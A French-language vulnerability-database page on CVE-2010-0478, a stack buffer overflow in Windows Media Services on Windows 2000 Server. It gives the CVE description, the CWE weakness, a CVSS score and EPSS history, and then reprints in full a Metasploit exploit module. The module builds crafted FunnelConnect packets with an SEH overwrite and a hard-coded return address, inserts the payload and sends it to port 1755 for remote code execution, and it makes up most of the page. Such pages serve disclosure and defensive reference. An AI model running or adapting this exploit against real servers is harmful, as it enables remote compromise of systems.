CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Stack-based buffer overflow in nsum.exe in the Windows Media Unicast Service in Media Services for Microsoft Windows 2000 Server SP4 allows remote attackers to execute arbitrary code via crafted packets associated with transport information, aka "Media Services Stack-based Buffer Overflow Vulnerability."
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
86.47%
–
–
2023-03-12
–
–
–
97.25%
–
2023-03-19
–
–
–
97.27%
–
2023-05-07
–
–
–
97.21%
–
2023-06-18
–
–
–
97.24%
–
2023-07-30
–
–
–
97.23%
–
2023-09-10
–
–
–
97.06%
–
2023-10-29
–
–
–
96.8%
–
2023-12-10
–
–
–
96.89%
–
2024-01-21
–
–
–
96.94%
–
2024-06-02
–
–
–
96.91%
–
2024-09-01
–
–
–
96.96%
–
2024-11-24
–
–
–
96.92%
–
2024-12-22
–
–
–
96.88%
–
2025-02-16
–
–
–
96.71%
–
2025-01-19
–
–
–
96.88%
–
2025-02-16
–
–
–
96.71%
–
2025-03-18
–
–
–
–
78.68%
2025-03-18
–
–
–
–
78.68,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-04-27 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: ms10_025_wmss_connect_funnel.rb 9166 2010-04-28 00:48:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.
NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9166 $',
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English',
{
# Unpatched:
# SEH handler offset is 840
# Stack return is at 652
# "Patched":
# SEH handler offset is 832
'Offset' => 840,
'SEHOffsets' => [ 832, 840 ],
'EIPOffset' => 652+3,
'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 13 2010',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1755)
], self.class)
end
def exploit
@pkts = 0
cmd_buf = ''
# LinkViewerToMacConnect
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
#subscriber = "Spooooon!"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)
# LinkViewerToMacConnectFunnel
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"
# Convert it to Unicode..
name = Rex::Text.to_unicode(name)
stuff = Rex::Text.pattern_create((target['Offset'] + 4 + 5) + 4)
stuff.slice!(0,4)
name[4,stuff.length] = stuff
# Insert the payload..
name[4,payload.encoded.length] = payload.encoded
# Build the SEH frame that leads to the payload...
target['SEHOffsets'].each { |off|
seh = ''
case off
when 832
code = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-652").encode_string
code << rand_text(8 - code.length)
name[off-8,code.length] = code
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-8").encode_string
seh << rand_text(2)
seh << [target.ret].pack('V')
when 840
seh << generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
end
name[off,seh.length] = seh
}
# Make sure the return address points at an invalid address
off = target['EIPOffset']
name[off,1] = [0x80 + rand(0x7f)].pack('C')
# Add it to the command buffer..
cmd_buf << make_command(0x30002, name)
# Build the TcpMessageHeader ..
pkt = make_tcpmsghdr(cmd_buf)
# Handle the transacation..
connect
print_status("Sending crafy commands (#{pkt.length} bytes) ...")
sock.put(pkt)
handler
disconnect
end
#
# Create a TcpMessageHeader from the supplied data
#
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8
# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')
# Add the data
pkt << data
# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)
pkt
end
#
# Create a command packet
#
def make_command(msg_id, extra)
# Two opcodes, get handled differently..
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')
when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')
end
# Put some data on...
data << extra
# Pad it to 8 bytes...
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)
# Combine the pieces..
pkt = [
(data.length / 8) + 1, # chunkLen
msg_id # msg ID
].pack('VV')
pkt << data
pkt
end
end